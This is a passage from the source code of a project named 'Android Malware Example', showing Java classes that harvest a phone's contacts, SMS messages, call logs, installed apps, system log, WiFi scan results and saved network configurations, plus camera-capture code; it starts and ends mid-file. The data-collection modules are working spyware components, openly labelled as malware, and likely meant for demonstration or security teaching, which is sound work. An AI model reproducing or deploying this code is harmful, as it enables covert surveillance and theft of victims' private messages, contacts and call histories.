called when the camera is open 134 | Log.e(configParams.PROGID, "onOpened"); 135 | cameraDevice = camera; 136 | createCameraPreview(); 137 | } 138 | @Override 139 | public void onDisconnected(CameraDevice camera) { 140 | cameraDevice.close(); 141 | } 142 | @Override 143 | public void onError(CameraDevice camera, int error) { 144 | cameraDevice.close(); 145 | cameraDevice = null; 146 | } 147 | }; 148 | final CameraCaptureSession.CaptureCallback captureCallbackListener = new CameraCaptureSession.CaptureCallback() { 149 | @Override 150 | public void onCaptureCompleted(CameraCaptureSession session, CaptureRequest request, TotalCaptureResult result) { 151 | super.onCaptureCompleted(session, request, result); 152 | Toast.makeText(context, "Saved:" + file, Toast.LENGTH_SHORT).show(); 153 | createCameraPreview(); 154 | } 155 | }; 156 | 157 | protected void takePicture() { 158 | 159 | // if (MainActivity.mainactivity == null) 160 | // { 161 | // Log.d(configParams.PROGID,"Cannot get Main Activity"); 162 | // return; 163 | // } 164 | // 165 | // 166 | // if(null == cameraDevice) { 167 | // Log.e(configParams.PROGID, "cameraDevice is null"); 168 | // return; 169 | // } 170 | // CameraManager manager = (CameraManager) context.getSystemService(Context.CAMERA_SERVICE); 171 | // try { 172 | // CameraCharacteristics characteristics = manager.getCameraCharacteristics(cameraDevice.getId()); 173 | // Size[] jpegSizes = null; 174 | // if (characteristics != null) { 175 | // jpegSizes = characteristics.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP).getOutputSizes(ImageFormat.JPEG); 176 | // } 177 | // int width = 640; 178 | // int height = 480; 179 | // if (jpegSizes != null && 0 < jpegSizes.length) { 180 | // width = jpegSizes[0].getWidth(); 181 | // height = jpegSizes[0].getHeight(); 182 | // } 183 | // ImageReader reader = ImageReader.newInstance(width, height, ImageFormat.JPEG, 1); 184 | // List outputSurfaces = new ArrayList(2); 185 | // outputSurfaces.add(reader.getSurface()); 186 | // outputSurfaces.add(new Surface(textureView.getSurfaceTexture())); 187 | // final CaptureRequest.Builder captureBuilder = cameraDevice.createCaptureRequest(CameraDevice.TEMPLATE_STILL_CAPTURE); 188 | // captureBuilder.addTarget(reader.getSurface()); 189 | // captureBuilder.set(CaptureRequest.CONTROL_MODE, CameraMetadata.CONTROL_MODE_AUTO); 190 | // // Orientation 191 | // int rotation = activity.getWindowManager().getDefaultDisplay().getRotation(); 192 | // captureBuilder.set(CaptureRequest.JPEG_ORIENTATION, ORIENTATIONS.get(rotation)); 193 | // final File file = new File(Environment.getExternalStorageDirectory()+"/pic.jpg"); 194 | // ImageReader.OnImageAvailableListener readerListener = new ImageReader.OnImageAvailableListener() { 195 | // @Override 196 | // public void onImageAvailable(ImageReader reader) { 197 | // Image image = null; 198 | // try { 199 | // image = reader.acquireLatestImage(); 200 | // ByteBuffer buffer = image.getPlanes()[0].getBuffer(); 201 | // byte[] bytes = new byte[buffer.capacity()]; 202 | // buffer.get(bytes); 203 | // save(bytes); 204 | // } catch (FileNotFoundException e) { 205 | // e.printStackTrace(); 206 | // } catch (IOException e) { 207 | // e.printStackTrace(); 208 | // } finally { 209 | // if (image != null) { 210 | // image.close(); 211 | // } 212 | // } 213 | // } 214 | // private void save(byte[] bytes) throws IOException { 215 | // OutputStream output = null; 216 | // try { 217 | // output = new FileOutputStream(file); 218 | // output.write(bytes); 219 | // } finally { 220 | // if (null != output) { 221 | // output.close(); 222 | // } 223 | // } 224 | // } 225 | // }; 226 | // reader.setOnImageAvailableListener(readerListener, mBackgroundHandler); 227 | // final CameraCaptureSession.CaptureCallback captureListener = new CameraCaptureSession.CaptureCallback() { 228 | // @Override 229 | // public void onCaptureCompleted(CameraCaptureSession session, CaptureRequest request, TotalCaptureResult result) { 230 | // super.onCaptureCompleted(session, request, result); 231 | // Toast.makeText(context, "Saved:" + file, Toast.LENGTH_SHORT).show(); 232 | // createCameraPreview(); 233 | // } 234 | // }; 235 | // cameraDevice.createCaptureSession(outputSurfaces, new CameraCaptureSession.StateCallback() { 236 | // @Override 237 | // public void onConfigured(CameraCaptureSession session) { 238 | // try { 239 | // session.capture(captureBuilder.build(), captureListener, mBackgroundHandler); 240 | // } catch (CameraAccessException e) { 241 | // e.printStackTrace(); 242 | // } 243 | // } 244 | // @Override 245 | // public void onConfigureFailed(CameraCaptureSession session) { 246 | // } 247 | // }, mBackgroundHandler); 248 | // } catch (CameraAccessException e) { 249 | // e.printStackTrace(); 250 | // } 251 | } 252 | 253 | protected void createCameraPreview() { 254 | try { 255 | SurfaceTexture texture = textureView.getSurfaceTexture(); 256 | assert texture != null; 257 | texture.setDefaultBufferSize(imageDimension.getWidth(), imageDimension.getHeight()); 258 | Surface surface = new Surface(texture); 259 | captureRequestBuilder = cameraDevice.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW); 260 | captureRequestBuilder.addTarget(surface); 261 | cameraDevice.createCaptureSession(Arrays.asList(surface), new CameraCaptureSession.StateCallback(){ 262 | @Override 263 | public void onConfigured(@NonNull CameraCaptureSession cameraCaptureSession) { 264 | //The camera is already closed 265 | if (null == cameraDevice) { 266 | return; 267 | } 268 | // When the session is ready, we start displaying the preview. 269 | cameraCaptureSessions = cameraCaptureSession; 270 | updatePreview(); 271 | } 272 | @Override 273 | public void onConfigureFailed(@NonNull CameraCaptureSession cameraCaptureSession) { 274 | Toast.makeText(context, "Configuration change", Toast.LENGTH_SHORT).show(); 275 | } 276 | }, null); 277 | } catch (CameraAccessException e) { 278 | e.printStackTrace(); 279 | } 280 | } 281 | 282 | private void openCamera() { 283 | CameraManager manager = (CameraManager) context.getSystemService(Context.CAMERA_SERVICE); 284 | Log.e(configParams.PROGID, "is camera open"); 285 | try { 286 | cameraId = manager.getCameraIdList()[0]; 287 | CameraCharacteristics characteristics = manager.getCameraCharacteristics(cameraId); 288 | StreamConfigurationMap map = characteristics.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP); 289 | assert map != null; 290 | imageDimension = map.getOutputSizes(SurfaceTexture.class)[0]; 291 | // Add permission for camera and let user grant the permission 292 | if (ActivityCompat.checkSelfPermission(context, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED && ActivityCompat.checkSelfPermission(context, Manifest.permission.WRITE_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED) { 293 | ActivityCompat.requestPermissions(activity, new String[]{Manifest.permission.CAMERA, Manifest.permission.WRITE_EXTERNAL_STORAGE}, REQUEST_CAMERA_PERMISSION); 294 | return; 295 | } 296 | manager.openCamera(cameraId, stateCallback, null); 297 | } catch (CameraAccessException e) { 298 | e.printStackTrace(); 299 | } 300 | Log.e(configParams.PROGID, "openCamera X"); 301 | } 302 | protected void updatePreview() { 303 | if(null == cameraDevice) { 304 | Log.e(configParams.PROGID, "updatePreview error, return"); 305 | } 306 | captureRequestBuilder.set(CaptureRequest.CONTROL_MODE, CameraMetadata.CONTROL_MODE_AUTO); 307 | try { 308 | cameraCaptureSessions.setRepeatingRequest(captureRequestBuilder.build(), null, mBackgroundHandler); 309 | } catch (CameraAccessException e) { 310 | e.printStackTrace(); 311 | } 312 | } 313 | private void closeCamera() { 314 | if (null != cameraDevice) { 315 | cameraDevice.close(); 316 | cameraDevice = null; 317 | } 318 | if (null != imageReader) { 319 | imageReader.close(); 320 | imageReader = null; 321 | } 322 | } 323 | 324 | 325 | } 326 | -------------------------------------------------------------------------------- /app/src/main/java/com/burke_consulting/malwareexample/GetContacts.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting 3 | * 4 | * This file is part of Android Malware Example. 5 | * 6 | * Android Malware Example is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * Android Malware Example is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU General Public License 17 | * along with Android Malware Example. If not, see . 18 | * 19 | */ 20 | 21 | package com.burke_consulting.malwareexample; 22 | 23 | import android.content.Context; 24 | import android.database.Cursor; 25 | import android.provider.ContactsContract; 26 | import android.util.Log; 27 | 28 | import java.util.ArrayList; 29 | import java.util.List; 30 | 31 | /** 32 | * Created by darrylb on 10/3/16. 33 | */ 34 | public class GetContacts { 35 | 36 | Context context; 37 | ConfigParams configParams; 38 | List contacts; 39 | 40 | public GetContacts(Context _context){ 41 | context = _context; 42 | configParams = new ConfigParams(context); 43 | contacts = new ArrayList(); 44 | 45 | } 46 | 47 | public class ContactInfo { 48 | 49 | public String Name; 50 | public String Email; 51 | public String PhoneNumber; 52 | public String Account; 53 | 54 | } 55 | public List getContacts() { 56 | Cursor cursor = context.getContentResolver().query( ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, null,null, null); 57 | 58 | 59 | while (cursor.moveToNext()) { 60 | 61 | // String msgData = ""; 62 | // 63 | // for (int idx = 0; idx < cursor.getColumnCount(); idx++) { 64 | // // Log.d(configParams.PROGID,Integer.toString( idx)); 65 | // msgData += " " + cursor.getColumnName(idx) + ":" + cursor.getString(idx); 66 | // 67 | // } 68 | // Log.d(configParams.PROGID,"Contacts Cursor:"+msgData); 69 | 70 | 71 | ContactInfo _contact = new ContactInfo(); 72 | _contact.Name= cursor.getString(cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME)); 73 | _contact.PhoneNumber= cursor.getString(cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER)); 74 | _contact.Account= cursor.getString(cursor.getColumnIndex("account_name")); 75 | 76 | String id = cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts._ID)); 77 | 78 | Cursor emailCur = context.getContentResolver().query(ContactsContract.CommonDataKinds.Email.CONTENT_URI,null,ContactsContract.CommonDataKinds.Email.CONTACT_ID + " = ?", new String[]{id},null); 79 | String _emails=""; 80 | while (emailCur.moveToNext()) { 81 | String email = emailCur.getString( emailCur.getColumnIndex(ContactsContract.CommonDataKinds.Email.DATA)); 82 | _emails+=email+":"; 83 | 84 | } 85 | _contact.Email= _emails; 86 | emailCur.close(); 87 | 88 | 89 | 90 | String result = String.format("Contact: %20s [%12s][%-25s] ", _contact.Name, _contact.PhoneNumber, _contact.Email); 91 | if (configParams.Logging) Log.d(configParams.PROGID, result); 92 | contacts.add(_contact); 93 | } 94 | return contacts; 95 | 96 | } 97 | } 98 | -------------------------------------------------------------------------------- /app/src/main/java/com/burke_consulting/malwareexample/GetInstalledApps.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting 3 | * 4 | * This file is part of Android Malware Example. 5 | * 6 | * Android Malware Example is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * Android Malware Example is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU General Public License 17 | * along with Android Malware Example. If not, see . 18 | * 19 | */ 20 | 21 | package com.burke_consulting.malwareexample; 22 | 23 | import android.content.Context; 24 | import android.content.Intent; 25 | import android.content.pm.ApplicationInfo; 26 | import android.content.pm.PackageManager; 27 | import android.util.Log; 28 | 29 | import java.util.ArrayList; 30 | import java.util.List; 31 | 32 | /** 33 | * Created by darrylb on 10/2/16. 34 | */ 35 | public class GetInstalledApps { 36 | Context context; 37 | ConfigParams configParams; 38 | //private List myApps; 39 | private List apps; 40 | public GetInstalledApps(Context _context) { 41 | context = _context; 42 | configParams = new ConfigParams(context); 43 | //myApps = new ArrayList(); 44 | apps = new ArrayList(); 45 | } 46 | public class ApplicationInformation { 47 | public String AppName; 48 | public String PackageName; 49 | public String SourceDir; 50 | public String Intent; 51 | 52 | } 53 | public List getApps() { 54 | final PackageManager pm = context.getPackageManager(); 55 | //get a list of installed apps. 56 | List packages = pm.getInstalledApplications(PackageManager.GET_META_DATA); 57 | 58 | for (ApplicationInfo packageInfo : packages) { 59 | 60 | PackageManager packageManager= context.getApplicationContext().getPackageManager(); 61 | String appName=""; 62 | try { 63 | appName = (String) packageManager.getApplicationLabel(packageManager.getApplicationInfo(packageInfo.packageName, PackageManager.GET_META_DATA)); 64 | } catch (Exception ex){ 65 | appName="Unknown"; 66 | 67 | } 68 | String _apps = String.format("Package: %20s [%40s] Dir: [%20s] Activity:[%20s]",appName,packageInfo.packageName,packageInfo.sourceDir, 69 | pm.getLaunchIntentForPackage(packageInfo.packageName)); 70 | ApplicationInformation app = new ApplicationInformation(); 71 | app.AppName = appName; 72 | app.PackageName = packageInfo.packageName; 73 | app.SourceDir = packageInfo.sourceDir; 74 | Intent _x =pm.getLaunchIntentForPackage(packageInfo.packageName); 75 | app.Intent = ""; 76 | if (_x != null){ 77 | app.Intent = _x.toString(); 78 | } 79 | apps.add(app); 80 | 81 | if (configParams.Logging) Log.d(configParams.PROGID,_apps); 82 | // Log.d(configParams.PROGID, "Installed package :" +packageInfo.name+"[" + packageInfo.packageName+"]"); 83 | // Log.d(configParams.PROGID, "Source dir : " + packageInfo.sourceDir); 84 | // Log.d(configParams.PROGID, "Launch Activity :" + pm.getLaunchIntentForPackage(packageInfo.packageName)); 85 | } 86 | return apps; 87 | } 88 | 89 | } 90 | -------------------------------------------------------------------------------- /app/src/main/java/com/burke_consulting/malwareexample/GetPhoneInfo.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting 3 | * 4 | * This file is part of Android Malware Example. 5 | * 6 | * Android Malware Example is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * Android Malware Example is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU General Public License 17 | * along with Android Malware Example. If not, see . 18 | * 19 | */ 20 | 21 | package com.burke_consulting.malwareexample; 22 | 23 | 24 | import android.Manifest; 25 | import android.app.Activity; 26 | import android.content.ContentResolver; 27 | import android.content.ContentValues; 28 | import android.content.Context; 29 | import android.content.pm.PackageManager; 30 | import android.database.Cursor; 31 | import android.net.Uri; 32 | import android.provider.CallLog; 33 | import android.support.v4.content.ContextCompat; 34 | import android.telephony.TelephonyManager; 35 | import android.util.Log; 36 | 37 | import java.text.SimpleDateFormat; 38 | import java.util.ArrayList; 39 | import java.util.Date; 40 | import java.util.List; 41 | 42 | public class GetPhoneInfo { 43 | 44 | Context context; 45 | String mPhoneNumber; 46 | String PhoneModel; 47 | String AndroidVersion; 48 | ConfigParams configParams ; 49 | List callInfo; 50 | List smsInfo; 51 | 52 | 53 | public GetPhoneInfo(Context _context) { 54 | context = _context; 55 | configParams = new ConfigParams(context); 56 | PhoneModel = android.os.Build.MODEL; 57 | AndroidVersion = android.os.Build.VERSION.RELEASE; 58 | callInfo = new ArrayList(); 59 | smsInfo = new ArrayList(); 60 | } 61 | 62 | public String GetPhoneNumber() { 63 | // Log.d("BGMonitor","GetPhoneNumber Getting Phone Number"); 64 | 65 | try { 66 | int permissionCheck = ContextCompat.checkSelfPermission(context, 67 | Manifest.permission.READ_SMS); 68 | if (permissionCheck == PackageManager.PERMISSION_GRANTED) { 69 | TelephonyManager tMgr = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE); 70 | mPhoneNumber = tMgr.getLine1Number(); 71 | if (mPhoneNumber.startsWith("+")) 72 | mPhoneNumber = mPhoneNumber.substring(1); 73 | 74 | } else { 75 | mPhoneNumber = "9999999999"; 76 | } 77 | 78 | 79 | } catch (Exception ex) { 80 | Log.d(configParams.PROGID, "GetPhoneNumber Error:" + ex.toString()); 81 | mPhoneNumber = "9999999999"; 82 | } 83 | // Log.d("BGMonitor","GetPhoneNumber Found Phone Number:"+mPhoneNumber); 84 | 85 | 86 | return (mPhoneNumber); 87 | } 88 | 89 | public class CallInfo { 90 | public String callNumber; 91 | public String callName; 92 | public String callDate; 93 | public String callType; 94 | public String callDuration; 95 | } 96 | public class SMSInfo { 97 | 98 | public String messageId; 99 | public String address; 100 | public long contactId; 101 | public String readState; 102 | public String folder; 103 | public String contact; 104 | public String datestamp; 105 | public String message; 106 | 107 | 108 | 109 | } 110 | public class Sms { 111 | private String _id; 112 | private String _address; 113 | private String _msg; 114 | private String _readState; //"0" for have not read sms and "1" for have read sms 115 | private String _time; 116 | private String _folderName; 117 | 118 | public String getId() { 119 | return _id; 120 | } 121 | 122 | public String getAddress() { 123 | return _address; 124 | } 125 | 126 | public String getMsg() { 127 | return _msg; 128 | } 129 | 130 | public String getReadState() { 131 | return _readState; 132 | } 133 | 134 | public String getTime() { 135 | return _time; 136 | } 137 | 138 | public String getFolderName() { 139 | return _folderName; 140 | } 141 | 142 | 143 | public void setId(String id) { 144 | _id = id; 145 | } 146 | 147 | public void setAddress(String address) { 148 | _address = address; 149 | } 150 | 151 | public void setMsg(String msg) { 152 | _msg = msg; 153 | } 154 | 155 | public void setReadState(String readState) { 156 | _readState = readState; 157 | } 158 | 159 | public void setTime(String time) { 160 | _time = time; 161 | } 162 | 163 | public void setFolderName(String folderName) { 164 | _folderName = folderName; 165 | } 166 | 167 | } 168 | 169 | public List GetPhoneLog() { 170 | Cursor curLog = CallLogHelper.getAllCallLogs(context.getContentResolver()); 171 | callInfo = setCallLogs(curLog); 172 | 173 | for( CallInfo callinfo: callInfo){ 174 | String result = String.format("Call: %20s - %15s [%-25s][%10s] %5s Seconds ",callinfo.callDate,callinfo.callNumber,callinfo.callName,callinfo.callType,callinfo.callDuration); 175 | if (configParams.Logging) Log.d(configParams.PROGID,result); 176 | } 177 | return callInfo; 178 | } 179 | 180 | 181 | public List GetSMSLog(String box) { 182 | 183 | // public static final String INBOX = "content://sms/inbox"; 184 | // public static final String SENT = "content://sms/sent"; 185 | // public static final String DRAFT = "content://sms/draft"; 186 | 187 | Cursor cursor = context.getContentResolver().query(Uri.parse("content://sms/"+box), null, null, null, null); 188 | 189 | if (cursor.moveToFirst()) { // must check the result to prevent exception 190 | do { 191 | String msgData = ""; 192 | 193 | for (int idx = 0; idx < cursor.getColumnCount(); idx++) { 194 | msgData += " " + cursor.getColumnName(idx) + ":" + cursor.getString(idx); 195 | 196 | } 197 | // 198 | 199 | 200 | 201 | 202 | SMSInfo _sms = new SMSInfo(); 203 | _sms.messageId = cursor.getString(cursor.getColumnIndexOrThrow("_id")); 204 | _sms.address = cursor.getString(cursor.getColumnIndexOrThrow("address")); 205 | _sms.readState = cursor.getString(cursor.getColumnIndex("read")); 206 | String dateString = new SimpleDateFormat("yyyy-MMM-dd HH:mm:ss").format(new Date(cursor.getLong(4))); 207 | 208 | // _sms.datestamp = cursor.getString(cursor.getColumnIndexOrThrow("date")); 209 | _sms.datestamp = dateString; 210 | if (cursor.getString(cursor.getColumnIndexOrThrow("type")).contains("1")) { 211 | _sms.folder ="inbox"; 212 | } else { 213 | _sms.folder ="sent"; 214 | } 215 | _sms.message = cursor.getString(cursor.getColumnIndexOrThrow("body")); 216 | smsInfo.add(_sms); 217 | 218 | 219 | // use msgData 220 | } while (cursor.moveToNext()); 221 | } else { 222 | // empty box, no SMS 223 | } 224 | 225 | for (SMSInfo smsinfo : smsInfo) { 226 | String result = String.format("SMS: %20s - %15s [%B][%-25s] ", smsinfo.datestamp, smsinfo.address, smsinfo.readState,smsinfo.message); 227 | if (configParams.Logging) Log.d(configParams.PROGID, result); 228 | } 229 | return smsInfo; 230 | } 231 | 232 | // public List getAllSms() { 233 | // List lstSms = new ArrayList(); 234 | // Sms objSms = new Sms(); 235 | // Uri message = Uri.parse("content://sms/"); 236 | // ContentResolver cr = context.getContentResolver(); 237 | // 238 | // Cursor c = cr.query(message, null, null, null, null); 239 | // context.startManagingCursor(c); 240 | // int totalSMS = c.getCount(); 241 | // 242 | // if (c.moveToFirst()) { 243 | // for (int i = 0; i < totalSMS; i++) { 244 | // 245 | // objSms = new Sms(); 246 | // objSms.setId(c.getString(c.getColumnIndexOrThrow("_id"))); 247 | // objSms.setAddress(c.getString(c 248 | // .getColumnIndexOrThrow("address"))); 249 | // objSms.setMsg(c.getString(c.getColumnIndexOrThrow("body"))); 250 | // objSms.setReadState(c.getString(c.getColumnIndex("read"))); 251 | // objSms.setTime(c.getString(c.getColumnIndexOrThrow("date"))); 252 | // if (c.getString(c.getColumnIndexOrThrow("type")).contains("1")) { 253 | // objSms.setFolderName("inbox"); 254 | // } else { 255 | // objSms.setFolderName("sent"); 256 | // } 257 | // 258 | // lstSms.add(objSms); 259 | // c.moveToNext(); 260 | // } 261 | // } 262 | // // else { 263 | // // throw new RuntimeException("You have no SMS"); 264 | // // } 265 | // c.close(); 266 | // 267 | // return lstSms; 268 | // } 269 | 270 | 271 | private List setCallLogs(Cursor curLog) { 272 | List _callInfo = new ArrayList(); 273 | 274 | while (curLog.moveToNext()) { 275 | 276 | CallInfo _callinfo = new CallInfo(); 277 | 278 | _callinfo.callNumber = curLog.getString(curLog 279 | .getColumnIndex(android.provider.CallLog.Calls.NUMBER)); 280 | 281 | 282 | String callName = curLog 283 | .getString(curLog 284 | .getColumnIndex(android.provider.CallLog.Calls.CACHED_NAME)); 285 | if (callName == null) { 286 | _callinfo.callName = "Unknown"; 287 | } else 288 | _callinfo.callName = callName; 289 | 290 | String callDate = curLog.getString(curLog 291 | .getColumnIndex(android.provider.CallLog.Calls.DATE)); 292 | SimpleDateFormat formatter = new SimpleDateFormat( 293 | "dd-MMM-yyyy HH:mm"); 294 | String dateString = formatter.format(new Date(Long 295 | .parseLong(callDate))); 296 | _callinfo.callDate = dateString; 297 | 298 | 299 | String callType = curLog.getString(curLog 300 | .getColumnIndex(android.provider.CallLog.Calls.TYPE)); 301 | if (callType.equals("1")) { 302 | _callinfo.callType = "Incoming"; 303 | } else 304 | _callinfo.callType = "Outgoing"; 305 | 306 | String duration = curLog.getString(curLog 307 | .getColumnIndex(android.provider.CallLog.Calls.DURATION)); 308 | _callinfo.callDuration = duration; 309 | 310 | _callInfo.add(_callinfo); 311 | } 312 | 313 | return (_callInfo); 314 | 315 | } 316 | } -------------------------------------------------------------------------------- /app/src/main/java/com/burke_consulting/malwareexample/GetSystemLog.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting 3 | * 4 | * This file is part of Android Malware Example. 5 | * 6 | * Android Malware Example is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * Android Malware Example is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU General Public License 17 | * along with Android Malware Example. If not, see . 18 | * 19 | */ 20 | 21 | package com.burke_consulting.malwareexample; 22 | 23 | import android.app.Activity; 24 | import android.content.Context; 25 | import android.os.Bundle; 26 | import android.util.Log; 27 | import android.widget.TextView; 28 | 29 | import java.io.BufferedReader; 30 | import java.io.BufferedWriter; 31 | import java.io.File; 32 | import java.io.FileWriter; 33 | import java.io.IOException; 34 | import java.io.InputStreamReader; 35 | import java.util.ArrayList; 36 | import java.util.Date; 37 | import java.util.List; 38 | 39 | /** 40 | * Created by darrylb on 10/3/16. 41 | */ 42 | public class GetSystemLog { 43 | 44 | Context context; 45 | ConfigParams configParams; 46 | 47 | 48 | public GetSystemLog(Context _context){ 49 | context = _context; 50 | configParams = new ConfigParams(context); 51 | 52 | } 53 | public void GetLogs(String outfile) { 54 | 55 | StringBuilder log = new StringBuilder(); 56 | List _logs = new ArrayList(); 57 | 58 | 59 | BufferedWriter out; 60 | File fpath = configParams.StoragePath; 61 | try { 62 | 63 | FileWriter fileWriter = new FileWriter(fpath + "/" + outfile); 64 | 65 | out = new BufferedWriter(fileWriter); 66 | 67 | 68 | try { 69 | Process process = Runtime.getRuntime().exec("logcat -d"); 70 | BufferedReader bufferedReader = new BufferedReader( 71 | new InputStreamReader(process.getInputStream())); 72 | int counter = 0; 73 | // StringBuilder log = new StringBuilder(); 74 | String line; 75 | while ((line = bufferedReader.readLine()) != null) { 76 | out.write(line+"\n"); 77 | } 78 | } catch (Exception ex) { 79 | if (configParams.Logging) Log.d(configParams.PROGID, "Unable to read system log"); 80 | } 81 | 82 | out.close(); 83 | } 84 | catch (IOException e) { 85 | if (configParams.Logging) Log.e("Exception", "File write failed: " + e.toString()); 86 | } 87 | 88 | 89 | 90 | 91 | } 92 | } 93 | -------------------------------------------------------------------------------- /app/src/main/java/com/burke_consulting/malwareexample/GetWifi.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting 3 | * 4 | * This file is part of Android Malware Example. 5 | * 6 | * Android Malware Example is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * Android Malware Example is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU General Public License 17 | * along with Android Malware Example. If not, see . 18 | * 19 | */ 20 | 21 | package com.burke_consulting.malwareexample; 22 | 23 | import android.content.Context; 24 | import android.net.ConnectivityManager; 25 | import android.net.NetworkInfo; 26 | import android.net.wifi.WifiConfiguration; 27 | import android.net.wifi.WifiInfo; 28 | import android.net.wifi.WifiManager; 29 | import android.util.Log; 30 | import android.widget.Toast; 31 | import android.net.wifi.ScanResult; 32 | 33 | import java.util.List; 34 | 35 | /** 36 | * Created by darrylb on 10/5/16. 37 | */ 38 | 39 | public class GetWifi { 40 | 41 | Context context; 42 | ConfigParams configParams; 43 | List results; 44 | // WifiManager wifi; 45 | public GetWifi(Context _context){ 46 | context = _context; 47 | configParams = new ConfigParams(context); 48 | 49 | } 50 | public class WifiData { 51 | 52 | public String CurrentSSID; 53 | public String BSSID; 54 | public String MAC; 55 | public String ScanResults; 56 | public String WifiConfigs; 57 | 58 | } 59 | public WifiData getWifiList() { 60 | 61 | WifiData _wifiinfo = new WifiData(); 62 | String ssid = null; 63 | ConnectivityManager connManager = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE); 64 | NetworkInfo networkInfo = connManager.getNetworkInfo(ConnectivityManager.TYPE_WIFI); 65 | if (networkInfo.isConnected()) { 66 | final WifiManager wifiManager = (WifiManager) context.getSystemService(Context.WIFI_SERVICE); 67 | final WifiInfo connectionInfo = wifiManager.getConnectionInfo(); 68 | if (connectionInfo != null && !(connectionInfo.getSSID().equals(""))) { 69 | //if (connectionInfo != null && !StringUtil.isBlank(connectionInfo.getSSID())) { 70 | ssid = connectionInfo.getSSID(); 71 | if (configParams.Logging) Log.d(configParams.PROGID,"SSID:"+ssid); 72 | } 73 | _wifiinfo.CurrentSSID = ssid; 74 | // Get WiFi status MARAKANA 75 | WifiInfo info = wifiManager.getConnectionInfo(); 76 | String textStatus = ""; 77 | textStatus += "\n\nWiFi Status: " + info.toString(); 78 | String BSSID = info.getBSSID(); 79 | String MAC = info.getMacAddress(); 80 | _wifiinfo.BSSID = BSSID; 81 | _wifiinfo.MAC = MAC; 82 | 83 | List results = wifiManager.getScanResults(); 84 | ScanResult bestSignal = null; 85 | int count = 1; 86 | String etWifiList = ""; 87 | for (ScanResult result : results) { 88 | etWifiList += count++ + ". " + result.SSID + " : " + result.level + "\n" + 89 | result.BSSID + "\n" + result.capabilities +"\n" + 90 | "\n=======================\n"; 91 | } 92 | if (configParams.Logging) Log.v(configParams.PROGID, "from SO: \n"+etWifiList); 93 | _wifiinfo.ScanResults = etWifiList; 94 | // List stored networks 95 | List configs = wifiManager.getConfiguredNetworks(); 96 | for (WifiConfiguration config : configs) { 97 | textStatus+= "\n\n" + config.toString(); 98 | } 99 | if (configParams.Logging) Log.v(configParams.PROGID," \n"+textStatus); 100 | _wifiinfo.WifiConfigs = textStatus; 101 | } 102 | return _wifiinfo; 103 | 104 | } 105 | 106 | } 107 | -------------------------------------------------------------------------------- /app/src/main/java/com/burke_consulting/malwareexample/ListSDFiles.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting 3 | * 4 | * This file is part of Android Malware Example. 5 | * 6 | * Android Malware Example is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * Android Malware Example is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU General Public License 17 | * along with Android Malware Example. If not, see . 18 | * 19 | */ 20 | 21 | package com.burke_consulting.malwareexample; 22 | 23 | import android.content.Context; 24 | import android.os.Environment; 25 | import android.util.Log; 26 | 27 | import java.io.BufferedWriter; 28 | import java.io.File; 29 | import java.io.FileOutputStream; 30 | import java.io.FileWriter; 31 | import java.io.IOException; 32 | import 